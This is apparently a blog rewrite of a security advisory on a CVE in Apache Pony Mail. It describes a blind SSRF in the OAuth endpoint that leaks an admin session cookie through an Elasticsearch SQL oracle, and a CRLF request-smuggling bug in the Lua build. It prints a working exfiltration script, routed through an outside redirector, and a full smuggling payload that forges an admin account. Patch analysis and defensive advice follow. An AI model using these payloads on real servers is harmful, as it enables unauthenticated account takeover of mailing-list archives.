core-jmp core-jmpdeath of core jump

CVE-2026-41873: Apache Pony Mail OAuth SSRF + Lua CRLF Smuggling = Unauthenticated Account Takeover

STAR Labs’ advisory on CVE-2026-41873 in Apache Pony Mail by Li Jiantao and Tevel Sho (disclosed 28 April 2026). Two independent bugs reach the same outcome — full admin takeover — without any authentication. In the modern Foal (Python) build, an attacker-supplied "oauth_token" URL drives a blind SSRF against the local Elasticsearch SQL endpoint, leaking the admin session cookie character-by-character (CVSS 9.1). In the legacy Lua build (now retired, no patch), a single unescaped query parameter in "email.lua" lets the attacker inject CRLF bytes into the Elasticsearch HTTP request and smuggle a second request that creates an admin account outright.

oxfemale May 26, 2026 13 min read 1 reads
Export PDF
CVE-2026-41873: Apache Pony Mail OAuth SSRF + Lua CRLF Smuggling = Unauthenticated Account Takeover

Original: This article is an independent of “(CVE-2026-41873) Apache Pony Mail CRLF Injection and SSRF Leading to Full Account Takeover”, by Li Jiantao and Tevel Sho, published on STAR Labs SG on 28 April 2026.

All vulnerability research, the PoC scripts, the Elasticsearch SQL exfiltration chain, the CRLF / HTTP-request-smuggling payload analysis, and the patch-diff annotations are the work of the original authors and STAR Labs. The four PoC screenshots, all verbatim code excerpts (Python oauth.py, oauthGeneric.py, Lua email.lua, elastic.lua, the patched config and YAML, the URL-encoded CRLF payload, and the forged Elasticsearch account document), and the CVSS 3.1 vector are reproduced exactly as published. For the full timeline, the suggested mitigations, and STAR Labs’ complete walkthrough, read the source.

Source: starlabs.sg/advisories/26/26-41873 · CVE: CVE-2026-41873 · Fix commit (Foal): incubator-ponymail-foal@5a708d2 · Copyright: © 2026 STAR Labs SG Pte. Ltd.

Script output showing character-by-character session ID extraction via SSRF
Blind SSRF exfiltration of a Pony Mail session ID, one hex character at a time via Elasticsearch SQL. Source: original article.

Executive Summary

STAR Labs’ Li Jiantao and Tevel Sho found two ways to take over an Apache Pony Mail instance — the mailing-list archive that ships with most Apache Software Foundation lists — without any pre-existing account. The first lives in the modern Pony Mail Foal (Python) build: the generic OAuth handler accepts an attacker-supplied oauth_token URL, follows redirects, and quietly issues HTTP requests on behalf of the server. Pointed at the bundled Elasticsearch SQL endpoint, that turns into a high-fidelity blind SSRF oracle — the JSON / HTML response-type split lets the attacker enumerate the admin’s session cookie one hex character at a time, then log in as that admin. CVSS 3.1 base score 9.1 (Critical).

The second lives in the legacy Lua build, which Apache has retired and explicitly told the researchers will not be patched. In email.lua, the id query parameter is concatenated straight into an Elasticsearch URL after only escaping double-quotes. Because the call drops into LuaSocket as raw bytes, the attacker can inject %0d%0a CRLF sequences, terminate the original GET, and smuggle a second HTTP request over the same keep-alive connection — in the published PoC, a POST to /ponymail/account/<hash>/_update that creates an admin account with a hardcoded session cookie. Unauthenticated, no user interaction, full administrative access in one request. Anyone still running the Lua build is permanently exposed and needs to migrate or front-end the service with strict input validation today.

CVSS 3.1

MetricValue
Base Score9.1 (Critical)
Vector StringCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Attack Vector (AV)Network
Attack Complexity (AC)Low
Privileges Required (PR)None
User Interaction (UI)None
Scope (S)Unchanged
Confidentiality (C)High
Integrity (I)High
Availability (A)None
CVSS 3.1 scoring reproduced verbatim from the advisory. Source: original article.

Pony Mail Foal (Python) — blind SSRF in the OAuth endpoint

Pony Mail Foal is the maintained Python rewrite of the older Lua codebase. Its OAuth handler is a thin dispatcher: depending on the key form field, it routes to one of several provider plugins. The generic catch-all is where the bug lives:

async def process(
    server: plugins.server.BaseServer, session: plugins.session.SessionObject, indata: dict,
) -> typing.Union[dict, aiohttp.web.Response]:

    debug(server, f"oauth/indata: {indata}")
    key = indata.get("key", "")
    state = indata.get("state")
    code = indata.get("code")
    id_token = indata.get("id_token")
    oauth_token = indata.get("oauth_token")

    rv: typing.Optional[dict] = None

    # Google OAuth - currently fetches email address only
    if key == "google" and id_token and server.config.oauth.google_client_id:
        rv = await plugins.oauthGoogle.process(indata, session, server)

    # [continues, eventually:]
    elif state and code and oauth_token:
        rv = await plugins.oauthGeneric.process(indata, session, server)

And the generic provider plugin trusts formdata["oauth_token"] as a destination URL:

async def process(formdata: dict, _session, _server) -> typing.Optional[dict]:
    # Extract domain, allowing for :port
    # Does not handle user/password prefix etc
    m = re.match(r"https?://([^/:]+)(?::\d+)?/", formdata["oauth_token"])
    if m:
        oauth_domain = m.group(1)
        headers = {"User-Agent": "Pony Mail OAuth Agent/0.1"}
        # This is a synchronous process, so we offload it to an async runner in order to let the main loop continue.
        async with aiohttp.client.request("POST", formdata["oauth_token"], headers=headers, data=formdata) as rv:
            js = await rv.json() # [1]
            js["oauth_domain"] = oauth_domain
        return js
    return None

The regex only extracts a display domain — the actual POST still goes to whatever URL the attacker put in oauth_token. aiohttp happily follows redirects, so even outbound-allowlist filters are routinely bypassed by pointing oauth_token at an attacker-controlled redirector (the published PoC uses httpbin.org/redirect-to) and bouncing into http://localhost:9200/.

Turning the SSRF into a session-cookie oracle

Pony Mail ships with Elasticsearch on the same host. Elasticsearch exposes a SQL endpoint at /_sql. When a SQL query errors, Elasticsearch responds with Content-Type: application/json. When it succeeds, it responds with the request’s requested format (application/text or text/html). On the Pony Mail side, the oauthGeneric handler always calls rv.json() on the response. If the body is JSON it parses; if not, the call raises and the server returns HTTP 500. The HTTP status code differential is the oracle.

The PoC builds a SQL query against the ponymail-session index that errors on success and succeeds on error by abusing a CAST on a non-castable column, conditional on a LIKE match. Repeated with each candidate hex character + % wildcard, the attacker bisects the admin session cookie. The driver script:

import requests

def exfil(session_id, target):
    ORIG_POST_DATA = {
    "key": "user",
    "state": "z",
    "code": "z",
    "oauth_token": "https://httpbin.org/redirect-to?url=http%3a//localhost%3a9200/_sql%3fsource_content_type%3dapplication/json%26source%3d{%2522query%2522%253A%2522select%2520cast(cookie%2520as%2520timestamp)%2520from%2520%5C%2522ponymail-session%5C%2522%2520where%2520cookie%2520like%2520%2527__INJECTION__%2525%2527%2522}%26format%3dtxt"
    }
    # [… loop over “0123456789abcdef-”, send request per candidate, check status code, append on 500 …]

Output of a successful run (the screenshot above, reproduced from the advisory):

Script output showing character-by-character session ID extraction via SSRF
Hex-character session ID extracted via Elasticsearch SQL behind the OAuth-endpoint SSRF. Source: original article.

Once the cookie is recovered, the attacker sets the Pony Mail session cookie in their browser and they are the admin. No password, no MFA, no rate-limiting in the way — the OAuth endpoint is unauthenticated.

Patch analysis (Foal)

Apache’s fix (commit 5a708d2) does two things, both correct:

OAuth URLs moved to server-side config

Before, the client-side config.js carried provider URLs that the front-end JS would feed back into the server — meaning the server effectively trusted the client’s URL choices:

var pm_config = {
    oauth: {
        github: {
            oauth_url: "https://github.com/login/oauth/access_token",
            client_id: 'your.github.app.id.here',
        }
    }
}

After: the OAuth URL is a server-only configuration in ponymail.yaml, with sensitive keys prefixed by . so they never escape the backend:

oauth:
  providers:
    github:
      .oauth_url: "https://github.com/login/oauth/access_token"
      .client_secret: "abc123"
      client_id: "your_client_id"

The preferences.py serialiser filters those leading-dot keys out before any browser ever sees them:

prefs['oauth'] = { provider: { k:v for k,v in entry.items() if not k.startswith('.') }
                   for provider, entry in server.config.oauth.providers.items() }

User-supplied URL parameter removed from the backend

The OAuth handler no longer accepts oauth_token from the request. The provider name comes from key and the URL is looked up server-side:

elif state and code:
    rv = await plugins.oauthGeneric.process(indata, session, server)
provider = formdata["key"]
oauth_url = server.config.oauth.providers.get(provider).get('.oauth_url')
async with aiohttp.client.request("POST", oauth_url, ...) as rv:

Together those changes close the SSRF: the URL is no longer attacker-influenceable, and the secret-bearing fields never reach a client that could leak them back.

Legacy Lua — same surface, worse outcome

Apache informed STAR Labs that the Lua implementation is retired and will not be patched. STAR Labs verified that two related bugs survive there:

Constrained SSRF in oauth.lua

elseif get.state and get.code and get.oauth_token then
    oauth_domain = get.oauth_token:match("https?://(.-)/")
    local result = https.request(get.oauth_token, r.args)

https.request is LuaSocket / lua-socket’s HTTPS client. It is more restrictive than aiohttp: HTTPS only, no redirect following. The author confirmed outbound reachability with a webhook (the User-Agent is the LuaSocket fingerprint):

Webhook capture showing outbound POST from 129.126.109.177 with User-Agent LuaSocket 3.0.0
Outbound webhook hit confirming oauth.lua drives LuaSocket 3.0.0 at attacker-supplied HTTPS URLs. Source: original article.

CRLF injection → Elasticsearch request smuggling in email.lua

This is the killer bug. The handler takes the id query parameter, escapes only double-quotes, and concatenates it into an Elasticsearch URL:

local eid = (get.id or ""):gsub('"', '%%22')
local doc = elastic.get("mbox", eid, true)
local function getDoc(ty, id, ok404)
    local url = config.es_url .. ty .. "/" .. id
    local json, status = performRequest(url, nil, ok404)

That string ultimately reaches LuaSocket’s HTTP client, which writes the request line directly to the TCP socket. CR and LF in id survive into the byte stream — which Elasticsearch parses sequentially: it will accept whatever HTTP request appears next in the stream, on the same keep-alive connection, treating it as if Apache itself had sent it.

The PoC the authors deliver is the obvious endgame: smuggle a POST that creates an admin account directly in Elasticsearch. URL-encoded:

GET /api/email.lua?id=aa%3f%20HTTP/1.1%0d%0a%0d%0aPOST%20/ponymail/account/a94a8fe5ccb19ba61c4c0873d391e987982fbbd3/_update%20HTTP/1.0%0d%0aContent-Type:%20application/yaml%0d%0aContent-Length:%20144%0d%0a%0d%0a---%0d%0adoc:%20%0d%0a%20%20credentials:%0d%0a%20%20%20%20x:%201%0d%0a%20%20internal:%20%0d%0a%20%20%20%20cookie:%20%270000000000000000000000000000000000000001%27%0d%0a%20%20%20%20admin:%20true%0d%0adoc_as_upsert:%20true%0d%0a%0d%0aGET%20/ HTTP/1.1
Host: localhost:8080

Decoded, that’s three distinct HTTP messages over one TCP connection:

GET /api/email.lua?id=aa? HTTP/1.1

POST /ponymail/account/a94a8fe5ccb19ba61c4c0873d391e987982fbbd3/_update HTTP/1.0
Content-Type: application/yaml
Content-Length: 144

---
doc:
  credentials:
    x: 1
  internal:
    cookie: '0000000000000000000000000000000000000001'
    admin: true
doc_as_upsert: true

GET / HTTP/1.1
Host: 127.0.0.1

The hashed account ID a94a8fe5cc… is the well-known SHA-1 of "test" in the PoC; the cookie value is a 40-character all-zeros-and-a-one that the attacker then sends from their own browser. The trailing GET uses HTTP/1.0 (default Connection: close) so LuaSocket’s auto-appended headers fall onto a request Elasticsearch will close cleanly. The forged document on the Elasticsearch side looks like this:

{
  "_id": "a94a8fe5ccb19ba61c4c0873d391e987982fbbd3",
  "_source": {
    "credentials": { "x": 1 },
    "internal": {
      "cookie": "0000000000000000000000000000000000000001",
      "admin": true
    }
  }
}

Traffic analysis

Wireshark packet view showing three HTTP requests on one TCP connection between Apache and Elasticsearch
Wireshark: the legitimate GET, the smuggled POST, and the trailing GET all on a single TCP connection between Apache and Elasticsearch. Source: original article.
TCP stream view of Elasticsearch sequentially parsing the byte stream, responding 404 then processing the smuggled POST
TCP stream: Elasticsearch returns 404 for the legitimate request, then dutifully processes the smuggled POST and closes the connection. Source: original article.

Impact

One unauthenticated GET creates an Elasticsearch document the application treats as an admin account, with a deterministic cookie the attacker already knows. From there: read/write/delete on every list, edit any historical message, modify accounts, modify pony-mail’s own configuration where it’s stored in ES. The bug is in the Lua build, which Apache will not patch; the only safe answer for affected operators is to retire the Lua install (migrate to Foal) or to put a strict input-sanitising proxy in front of /api/email.lua that drops requests with CR/LF in id.

Timeline (verbatim)

  • 2024-07-10 — Initial report to Apache Security Team.
  • 2024-07-23 — Vendor response (credit preference request).
  • 2024-10-29 and 2024-11-01 — Follow-up requests; no response.
  • 2026-02-12 — Apache confirms the Foal patch; queries Lua impact.
  • 2026-03-25 — Researchers confirm Lua vulnerabilities.
  • 2026-04-22 — CVE assigned.
  • 2026-04-28 — Public disclosure.

Key Takeaways

  • CVE-2026-41873 covers two distinct vulnerabilities in Apache Pony Mail — one in the modern Foal (Python) build, one in the legacy Lua build — both reachable without authentication.
  • Foal: blind SSRF via attacker-controlled oauth_token URL through the generic OAuth handler → Elasticsearch SQL response-type oracle → character-by-character session-cookie exfiltration → admin login. CVSS 9.1.
  • Lua: CRLF injection in the id parameter of email.lua (only double-quotes were sanitised) → raw CR/LF bytes reach LuaSocket → smuggled second HTTP request to Elasticsearch → forged admin account with hardcoded session cookie.
  • Lua build will not be patched. Apache retired it; operators have to migrate to Foal or front-end the service with strict input filtering.
  • The Foal patch is structural: OAuth URLs moved server-side, sensitive keys filtered out of client-visible config, oauth_token removed from the accepted input set.
  • Elasticsearch sequential parsing on keep-alive connections is the smuggling vector; the same shape can recur anywhere a Lua / Python / Node app forwards user input straight to a backend over HTTP without proper byte-level validation.
  • Disclosure was slow: 2.5 years from initial report to public CVE assignment, partly due to vendor responsiveness issues.

Defensive Recommendations

  • If you run Pony Mail Foal: apply commit 5a708d2 or the corresponding tagged release. Rotate any admin session cookies after upgrade in case exfiltration already happened.
  • If you run the Lua build: assume compromise. Apache will not patch this. Migrate to Foal or front-end the service with a WAF rule that drops any request to /api/email.lua containing literal or URL-encoded CR/LF (%0d, %0a, raw \r\n) in any parameter.
  • Sanitise inputs going into HTTP-construction code at the byte level, not at the string level. gsub('"', '%%22') is not sanitisation; it is a single-character substitution. Any HTTP client that takes user input into the request line or headers needs explicit CR/LF rejection.
  • Lock down Elasticsearch. Bind it to localhost where possible, but more importantly enable authentication on it — the Pony Mail bugs are amplified by the assumption that Elasticsearch is on a “trusted” network. Treat it as you would any RDBMS.
  • Disable the Elasticsearch SQL plugin if you don’t need it. It is the primary oracle that turns a blind SSRF into a session-cookie exfiltration; without SQL the Foal bug is much harder to weaponise.
  • SOC content: alert on outbound requests from the Pony Mail backend to local :9200 originating from the OAuth endpoint, and on inbound requests to /api/email.lua with any control-character bytes in the query string.
  • Patch-diff your own integrations. Anywhere your app accepts a URL from a user and feeds it to aiohttp / requests / fetch with follow_redirects=True is a candidate for the same blind-SSRF pattern.

Conclusion

This is one of those advisories where the Python bug is the headline and the Lua bug is the actual horror story. Foal’s SSRF was patched cleanly and properly; the legacy Lua build is going to sit on the internet unpatched until every operator notices that incubator-ponymail is retired and migrates. STAR Labs’ write-up is unusually well-instrumented — the Wireshark and TCP-stream captures of the smuggled request flowing through Elasticsearch are the clearest published illustration of HTTP request smuggling against a back-end I’ve seen for this class of bug, and the response-type-oracle SSRF chain on the Foal side is reusable shape that’s likely to recur in other Python apps that proxy Elasticsearch behind aiohttp. Read the original for the full code excerpts and the disclosure timeline.

This article is an independent English-language rewrite of “(CVE-2026-41873) Apache Pony Mail CRLF Injection and SSRF Leading to Full Account Takeover” by Li Jiantao and Tevel Sho, originally published on starlabs.sg on 28 April 2026. All vulnerability research, PoC scripts, screenshots, and patch analysis remain the work of the original authors and STAR Labs SG Pte. Ltd. (© 2026). Please cite STAR Labs when referencing this material.

oxfemale Vulnerability research, reverse engineering, and exploit development.